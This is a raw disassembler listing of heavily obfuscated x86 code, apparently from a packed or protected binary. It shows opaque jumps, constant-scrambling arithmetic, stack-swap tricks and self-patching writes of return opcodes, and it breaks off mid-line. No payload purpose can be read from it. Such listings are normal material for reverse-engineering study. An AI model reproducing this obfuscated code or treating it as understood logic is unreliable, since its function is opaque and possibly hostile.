CHUNK FOR sub_747778 ; --------------------------------------------------------------------------- loc_746670: ; CODE XREF: _0z4jwtox:loc_75759Dj jz loc_753040 loc_746676: ; CODE XREF: _0z4jwtox:loc_7474EFj jmp loc_757591 ; =============== S U B R O U T I N E ======================================= sub_74667B proc near ; CODE XREF: sub_74BD26-F98j ; _0z4jwtox:0074E733p ; FUNCTION CHUNK AT 0074B6E7 SIZE 00000013 BYTES xchg esi, [esp+0] pop esi push 0C15857E1h pop esi loc_746685: ; CODE XREF: _0z4jwtox:0074B37Aj rol esi, 4 or esi, 2321C98Ah jmp loc_74B6E7 sub_74667B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A821 loc_746693: ; CODE XREF: sub_74A821:loc_7500A9j sbb esi, edx jmp loc_75581D ; END OF FUNCTION CHUNK FOR sub_74A821 ; --------------------------------------------------------------------------- loc_74669A: ; CODE XREF: _0z4jwtox:00753095j pushf or eax, esi ; START OF FUNCTION CHUNK FOR sub_748357 loc_74669D: ; CODE XREF: sub_748357:loc_75307Fj and eax, 458B3DA9h add eax, 46DC9CFDh jnb loc_756171 ; END OF FUNCTION CHUNK FOR sub_748357 ; START OF FUNCTION CHUNK FOR sub_74F15D loc_7466AF: ; CODE XREF: sub_74F15D+130Dj jmp loc_750912 ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- sbb ebp, edi jns loc_755D79 jmp loc_756169 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_7466C1: ; CODE XREF: sub_756826+9j mov [ebp+var_4], eax loc_7466C4: ; CODE XREF: _0z4jwtox:loc_755B1Cj mov eax, [ebp+var_4] mov al, [eax] jo loc_751454 sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] cmp al, 0A4h jmp loc_753E40 ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- loc_7466DD: ; CODE XREF: _0z4jwtox:0074E222j mov ds:off_41F118, eax lea eax, sub_75676B mov byte ptr [eax], 0C3h jmp sub_75676B ; --------------------------------------------------------------------------- call sub_75644F ; START OF FUNCTION CHUNK FOR sub_748E68 loc_7466F6: ; CODE XREF: sub_748E68+Ej jmp sub_74F69D ; END OF FUNCTION CHUNK FOR sub_748E68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_7466FB: ; CODE XREF: sub_74CBCF+48B6j jl loc_745172 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_746701: ; CODE XREF: sub_74D1F3+631Cj jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- dw 0C633h dd 0E026E981h, 800F6107h, 0EDACh, 0B9618A0Fh, 53E90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74671F: ; CODE XREF: sub_74D1F3+8EA7j xchg esi, [esp-4+arg_0] push 0 lea eax, [ebp-100h] push ebp mov ebp, edi xchg ebp, [esp+4+var_4] jmp loc_756775 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- adc ebx, edx mov [edi], eax jmp sub_74B719 ; =============== S U B R O U T I N E ======================================= sub_74673E proc near ; CODE XREF: _0z4jwtox:00750115j ; sub_7510E4+59B9p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0074532A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074604F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00746363 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746A5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746AB4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00747579 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007475AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074825D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00748EB3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007499F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00749A86 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00749CBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B91B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074BDD8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C8CD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074CD65 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074D1EB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074D683 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074DF44 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00750069 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750710 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750730 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750A77 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00752033 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753452 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00753BBF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0075480B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007553D2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007560DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756609 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00756AE1 SIZE 00000010 BYTES xchg edi, [esp-4+arg_0] pop edi jnz loc_74674E mov eax, [ebp-4] mov [ebp-8], eax loc_74674E: ; CODE XREF: sub_74673E+4j call sub_74C2BE mov [ebp-0Ah], al loc_746756: ; CODE XREF: sub_754C3F:loc_751326j jno loc_74532A jmp loc_753BBF sub_74673E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_746761: ; CODE XREF: _0z4jwtox:00748849j jb loc_7544D3 sub ebx, ecx cmp ebx, 311C63Eh jmp loc_7520A9 ; --------------------------------------------------------------------------- push 7784AF9Dh pop eax add eax, 0E9F7A2Fh xor eax, 0BCDDD68h cmp eax, 25E82B56h jmp loc_7534A7 ; --------------------------------------------------------------------------- loc_746791: ; CODE XREF: _0z4jwtox:0074DD2Cj xor esi, eax shr eax, 2 ; START OF FUNCTION CHUNK FOR sub_755C38 loc_746796: ; CODE XREF: sub_755C38:loc_74DD1Bj sub edx, 0C42F61CFh push offset sub_750202 jmp nullsub_223 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- loc_7467A6: ; CODE XREF: _0z4jwtox:loc_745EB0j push 0A19034B7h pop eax or eax, 3884DC44h rol eax, 8 add eax, 6CD0D0B5h rol eax, 10h add eax, 495BA0F8h push eax loc_7467C5: ; CODE XREF: _0z4jwtox:loc_74BAC8j jmp loc_748D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7467CA: ; CODE XREF: sub_75364C-3825j add edi, 749A8F55h or edi, 0A7D125D8h call sub_7566FC loc_7467DB: ; CODE XREF: sub_750D35+18j jmp loc_7452CE ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75299B loc_7467E0: ; CODE XREF: sub_75299B-A1A3j jmp loc_747EF9 ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- mov eax, 934299CDh push offset sub_753DFA jmp locret_745B15 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_7467F4 proc near ; CODE XREF: _0z4jwtox:0074879Cj ; _0z4jwtox:0074E397p ... retn sub_7467F4 endp ; --------------------------------------------------------------------------- add al, 24h mov edx, eax pop eax jns loc_7487A1 mov eax, [esp] push edx call sub_747892 push 0D14C30B4h jmp loc_756075 ; --------------------------------------------------------------------------- loc_746813: ; CODE XREF: _0z4jwtox:00754F23j jl loc_74BAA4 mov [eax], esi jmp loc_749032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_746820: ; CODE XREF: sub_74894B:loc_7552E1j jge loc_745EF6 xor eax, ebp push 0DAFD9AA7h shr esi, 9 ror ebp, 7 jmp loc_745EF6 ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_746838: ; CODE XREF: sub_747AEC+8E3j or esi, 0D2209826h jmp loc_74A622 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_746843: ; CODE XREF: sub_752D11:loc_748923j xor ebx, 470A910Bh rol ebx, 1Ch and ebx, 0AD080D3Fh xor ebx, 0AE76EC39h jnz loc_74B0C0 loc_74685E: ; CODE XREF: sub_757799-32F6j jmp loc_746B63 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- pop ecx jmp loc_750B3E ; =============== S U B R O U T I N E ======================================= sub_746869 proc near ; CODE XREF: _0z4jwtox:00751FFBp ; _0z4jwtox:00754106j ; FUNCTION CHUNK AT 0074B694 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B704 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C697 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007532EC SIZE 0000000D BYTES xchg eax, [esp+0] pop eax add esi, 6A51E5C9h mov esi, [esi] cmp eax, esi pop esi jnb loc_749C84 loc_74687E: ; CODE XREF: _0z4jwtox:loc_74EA06j jmp loc_74B694 sub_746869 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_7561F2 ; START OF FUNCTION CHUNK FOR sub_745C34 loc_746888: ; CODE XREF: sub_745C34:loc_749A08j or edx, 999C8F78h xor edx, 54EFD638h ; END OF FUNCTION CHUNK FOR sub_745C34 ; START OF FUNCTION CHUNK FOR sub_749B76 loc_746894: ; CODE XREF: sub_749B76+12j add edx, 52F0875Ch mov [edx], eax jmp loc_750FD3 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_7468A1: ; CODE XREF: sub_748A22+E1ECj mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax test eax, eax jl loc_74D586 inc eax mov [ebp-24h], eax jmp loc_756C44 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749BBA loc_7468BC: ; CODE XREF: sub_749BBA-2489j ; sub_749BBA:loc_74BD7Ej mov eax, [ebp-4] push offset loc_74A2F9 jmp loc_7533CC ; END OF FUNCTION CHUNK FOR sub_749BBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74564F loc_7468C9: ; CODE XREF: sub_74564F+6j nop ; END OF FUNCTION CHUNK FOR sub_74564F ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_7468CA: ; CODE XREF: sub_7490F6:loc_747582j mov eax, 2867838Ah push ecx push 0BCF5CEFAh pop ecx jmp loc_7477B6 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747379 loc_7468DB: ; CODE XREF: sub_747379+Aj jnz loc_74A596 mov eax, [ebp-4] inc eax mov eax, [eax] add eax, [ebp-4] ; END OF FUNCTION CHUNK FOR sub_747379 ; START OF FUNCTION CHUNK FOR sub_7497F9 loc_7468EA: ; CODE XREF: sub_7497F9+Aj add eax, 5 jmp loc_75496A ; END OF FUNCTION CHUNK FOR sub_7497F9 ; =============== S U B R O U T I N E ======================================= sub_7468F2 proc near ; CODE XREF: sub_753D0E-E1ECp ; _0z4jwtox:00757049j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074965F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074A3EB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074C281 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753C55 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] push ebp pop ecx xchg ecx, [esp-4+arg_0] call sub_7476BB loc_746903: ; CODE XREF: sub_75121F-5621j jmp loc_753C55 sub_7468F2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_746908: ; CODE XREF: _0z4jwtox:0074A4E9j jmp loc_74D586 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74690D: ; CODE XREF: sub_747736:loc_74D4AAj push edx call sub_755C10 push 781D6C94h xchg esi, [esp+0] mov eax, esi pop esi sub eax, 0C1981D06h jmp loc_74D0BC ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_746929: ; CODE XREF: sub_754DFF-F6F5j sub eax, 8550B4E6h cmp eax, 7CDA34A3h jmp loc_74EB28 ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_74693A: ; CODE XREF: sub_7572F3-2BFAj test ebx, 408EAE01h jmp loc_754911 ; END OF FUNCTION CHUNK FOR sub_7572F3 ; --------------------------------------------------------------------------- loc_746945: ; DATA XREF: sub_74B1F1:loc_748A52o push 0E54D6DB8h xchg ecx, [esp] mov eax, ecx pop ecx rol eax, 4 jnb loc_74C0DC ; START OF FUNCTION CHUNK FOR sub_7470E8 loc_746959: ; CODE XREF: sub_7470E8-10Cj ; sub_747C22:loc_7494ADj jmp sub_74A96E ; END OF FUNCTION CHUNK FOR sub_7470E8 ; --------------------------------------------------------------------------- shr eax, 4 sbb eax, edx jmp loc_74EDB7 ; --------------------------------------------------------------------------- locret_746968: ; CODE XREF: _0z4jwtox:loc_74B208j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_746969: ; CODE XREF: sub_745A78+EFAEj ; DATA XREF: .data:off_42D710o jz loc_752192 jmp loc_748ECD ; END OF FUNCTION CHUNK FOR sub_745A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_746975: ; CODE XREF: sub_75043C:loc_757573j jmp nullsub_249 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_74697A: ; CODE XREF: sub_747A94+82BDj jmp loc_745886 ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- loc_74697F: ; DATA XREF: sub_7502BA+5o jno loc_755E8B mov eax, [esp] push edx push edx jmp loc_74F576 ; =============== S U B R O U T I N E ======================================= sub_74698F proc near ; CODE XREF: sub_750638-A216p ; _0z4jwtox:0074A040j ; FUNCTION CHUNK AT 00745DD3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00745FAD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00746249 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074ACD7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074DE09 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FE50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752A0A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754378 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00754ACC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754B4F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007565FC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756E43 SIZE 00000006 BYTES xchg edx, [esp+0] pop edx push 2010h push 0 jmp loc_74FE50 sub_74698F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754A3D loc_74699F: ; CODE XREF: sub_754A3D:loc_74B639j push ecx mov [ebp+var_4], eax call sub_74C670 ror esi, 5 jmp sub_74658B ; END OF FUNCTION CHUNK FOR sub_754A3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_7469B0: ; CODE XREF: sub_74C874:loc_74F277j call sub_746E93 push offset sub_75712E jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_74C874 ; =============== S U B R O U T I N E ======================================= sub_7469BF proc near ; CODE XREF: _0z4jwtox:0074904Aj ; _0z4jwtox:007573F7p xchg edi, [esp+0] pop edi xor eax, ebx call sub_749B95 sub_7469BF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_745183 loc_7469CA: ; CODE XREF: sub_745183+12j jmp loc_75664B ; END OF FUNCTION CHUNK FOR sub_745183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7469CF: ; CODE XREF: sub_747C22:loc_752D9Fj jnz loc_74FCF3 jmp loc_74A7DD ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7469DA: ; CODE XREF: sub_75364C:loc_749408j jnz loc_753401 jmp loc_754B77 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA92 loc_7469E5: ; CODE XREF: sub_74BA92:loc_74CEA3j ; sub_74BA92+141Fj xor eax, 462C421Dh or eax, 0DECA7E30h xor eax, 0D7C0A3CFh add eax, ebp jmp loc_749A2F ; END OF FUNCTION CHUNK FOR sub_74BA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7469FE: ; CODE XREF: sub_747C22+5C7Ej add eax, 0C6DCBAD2h mov eax, [eax] test dword ptr [eax], 0FFFF0000h jnz loc_746FF7 jmp loc_749DEC ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBE6 loc_746A17: ; CODE XREF: sub_74CBE6:loc_748EC3j push offset aYyh9ru ; "YYh9ru" jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_74CBE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_746A21: ; CODE XREF: sub_74BF3A:loc_74B4D7j mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp call sub_752E09 loc_746A2E: ; CODE XREF: sub_7561AB-AE51j jmp loc_748A3A ; END OF FUNCTION CHUNK FOR sub_74BF3A ; =============== S U B R O U T I N E ======================================= sub_746A33 proc near ; CODE XREF: _0z4jwtox:00749EBEj ; sub_74673E+51E5p xchg ecx, [esp+0] pop ecx pop ebp retn sub_746A33 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_746A39: ; CODE XREF: sub_750638+5577j jmp loc_749396 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E1D loc_746A3E: ; CODE XREF: sub_748E1D+Aj jmp loc_7576FA ; END OF FUNCTION CHUNK FOR sub_748E1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746128 loc_746A43: ; CODE XREF: sub_74673E-140Ej ; sub_746128+4j mov eax, [ebp-4] mov al, [eax] mov [ebp-9], al mov al, [ebp-0Ah] jmp loc_74F434 ; END OF FUNCTION CHUNK FOR sub_746128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750D29 loc_746A53: ; CODE XREF: sub_750D29+7j call sub_745FE5 loc_746A58: ; CODE XREF: _0z4jwtox:00756756j jmp loc_747847 ; END OF FUNCTION CHUNK FOR sub_750D29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_746A5D: ; CODE XREF: sub_74673E+A348j jmp sub_74C2C9 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BE45 loc_746A62: ; CODE XREF: sub_74BE45+6j jmp loc_74F01F ; END OF FUNCTION CHUNK FOR sub_74BE45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_746A67: ; CODE XREF: sub_75275A:loc_74E20Fj jnz loc_74CE30 jmp loc_745285 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- mov eax, 0A7A44D83h push ecx push 466D4BD3h pop ecx xor ecx, 0E302A1A0h rol ecx, 1Ah xor ecx, 0CF04D0A3h jmp loc_7566C3 ; --------------------------------------------------------------------------- loc_746A92: ; DATA XREF: sub_74763A+12o call sub_75740D push 0A650DB20h pop eax add eax, 4C557D99h sub eax, 3B7FE971h test eax, 100h jmp loc_74D01C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_746AB4: ; CODE XREF: sub_74B928+Bj and ecx, 462C1BA3h sub ecx, 5AD13341h jb loc_74604F loc_746AC6: ; CODE XREF: _0z4jwtox:0074D161j jmp loc_74BDD8 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- loc_746ACB: ; CODE XREF: _0z4jwtox:0074749Fj jmp nullsub_273 ; --------------------------------------------------------------------------- popf jmp loc_746049 ; --------------------------------------------------------------------------- loc_746AD6: ; CODE XREF: _0z4jwtox:loc_754ED4j and esi, 217103E0h add esi, 6B0C3D13h rol esi, 10h add esi, 0C0413F37h xchg esi, [esp] jmp sub_746CF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_746AF3: ; CODE XREF: sub_74A71A:loc_7458FBj ; sub_74FE55:loc_7490B4j ... mov eax, [ebp-20h] call sub_74A71A loc_746AFB: ; CODE XREF: _0z4jwtox:00748049j pop eax jo loc_752B99 mov eax, [esp+0] push edx push offset sub_748871 jmp loc_748533 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_746B10: ; CODE XREF: sub_74B1F1:loc_754269j sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] loc_746B17: ; CODE XREF: sub_7543C5:loc_756418j cmp al, 0A4h jz loc_745C4D jmp loc_7525B8 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- loc_746B24: ; CODE XREF: _0z4jwtox:00753F0Aj jnp loc_751181 jg sub_7567B4 not eax jmp loc_74FA6A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_746B38: ; CODE XREF: _0z4jwtox:0075433Bj jmp loc_75573E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_746B3D: ; CODE XREF: sub_747C39+12j jmp loc_7546FE ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_746B42: ; CODE XREF: sub_752737-307Bj jp loc_753F72 push 0E769D881h loc_746B4D: ; CODE XREF: sub_752737:loc_74A1D2j mov eax, [ebp-4] call sub_7567B4 loc_746B55: ; CODE XREF: _0z4jwtox:0074B159j rol edx, 9 test edx, 8000000h jmp loc_74869C ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_746B63: ; CODE XREF: sub_752D11:loc_74685Ej test esi, ebx jmp loc_750CC2 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F33 loc_746B6A: ; CODE XREF: sub_746F33+3CCFj xchg edi, [esp+0] mov edx, edi pop edi xor eax, eax loc_746B72: ; CODE XREF: _0z4jwtox:0074D77Dj mov [ebp-28h], eax jmp loc_75635C ; END OF FUNCTION CHUNK FOR sub_746F33 ; --------------------------------------------------------------------------- loc_746B7A: ; CODE XREF: _0z4jwtox:007572E8j or esi, edx ; =============== S U B R O U T I N E ======================================= sub_746B7C proc near ; CODE XREF: sub_749B76+353Cp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 007499B8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074D62C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756916 SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx call sub_74F226 mov [ebp-8], eax call sub_74870B loc_746B8D: ; CODE XREF: sub_74DE1F-341Fj jmp loc_7499B8 sub_746B7C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_746B92: ; CODE XREF: _0z4jwtox:00747E6Fj jmp loc_7465B7 ; --------------------------------------------------------------------------- loc_746B97: ; CODE XREF: _0z4jwtox:loc_749C6Fj pop eax rol eax, 17h or eax, 0BDA6C4DCh rol eax, 1Ah jmp loc_75040A ; --------------------------------------------------------------------------- and ecx, eax jmp sub_74780A ; =============== S U B R O U T I N E ======================================= sub_746BB0 proc near ; CODE XREF: _0z4jwtox:0074A9D3j ; sub_755179:loc_74B634p xchg ecx, [esp+0] pop ecx call sub_746BBA locret_746BB9: ; CODE XREF: sub_755179-9B4Bj retn sub_746BB0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_746BBA proc near ; CODE XREF: sub_746BB0+4p push ebx push ecx call sub_754729 push offset loc_752378 jmp nullsub_28 sub_746BBA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752EB8 loc_746BCB: ; CODE XREF: sub_752EB8+1B43j pop edx lea eax, nullsub_186 mov byte ptr [eax], 0C3h jmp loc_746E5B ; END OF FUNCTION CHUNK FOR sub_752EB8 ; --------------------------------------------------------------------------- pop edx jmp loc_74CC19 ; =============== S U B R O U T I N E ======================================= sub_746BE0 proc near ; CODE XREF: _0z4jwtox:0074A340p ; _0z4jwtox:0074DAF7j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00750362 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx pop edi xchg edi, [esp-4+arg_0] push offset loc_749ED5 jmp loc_750362 sub_746BE0 endp ; --------------------------------------------------------------------------- cmp ebx, 5717DC2Bh jmp loc_74F3C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_746BFE: ; CODE XREF: sub_7557E7:loc_74F9A8j jge loc_74F052 jp loc_74F5A7 xor edx, 2B872074h adc ecx, 330D3CEFh jmp loc_74F052 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_746C1B: ; CODE XREF: _0z4jwtox:0074CC45j or ebp, eax ; START OF FUNCTION CHUNK FOR sub_749980 loc_746C1D: ; CODE XREF: sub_749980-F1Dj ; sub_749BBA+Dj ... jmp loc_74E77F ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E84B loc_746C22: ; CODE XREF: _0z4jwtox:0074A2FCj ; sub_74E84B+6445j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74E84B ; =============== S U B R O U T I N E ======================================= sub_746C25 proc near ; CODE XREF: sub_74B1F1-515Fp ; _0z4jwtox:00754E56p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074D8D7 SIZE 00000005 BYTES push ebx mov ebx, eax xchg ebx, [esp+4+var_4] jmp loc_74D8D7 sub_746C25 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_746C30: ; CODE XREF: sub_7544F1:loc_75632Dj ; sub_7544F1+21F0j push 0C1519F23h pop eax sub eax, 0D20FDC54h and eax, 9E92B6FCh jmp loc_74D5BE ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_746C47: ; CODE XREF: sub_7508F9:loc_748EAEj mov eax, [ebp-8] shl eax, 0Ah add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax jmp loc_7451C6 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; =============== S U B R O U T I N E ======================================= sub_746C5E proc near ; CODE XREF: sub_409833+Dp ; sub_414D55+Dp ; DATA XREF: ... ; FUNCTION CHUNK AT 00749F1B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074ABD3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074C770 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074DBCB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074F39A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754E7F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 007555C2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00755AAF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00757470 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757601 SIZE 00000027 BYTES jz loc_74C770 mov eax, ds:dword_748C94 push offset loc_749F31 jmp loc_74F39A sub_746C5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_746C74: ; CODE XREF: sub_7543C5:loc_747D3Aj lea eax, loc_74B4DC push offset loc_74BB0F jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; =============== S U B R O U T I N E ======================================= sub_746C84 proc near ; CODE XREF: sub_750C2D-AB1Fp ; _0z4jwtox:00749B71j ; FUNCTION CHUNK AT 00746D08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B497 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074B5C3 SIZE 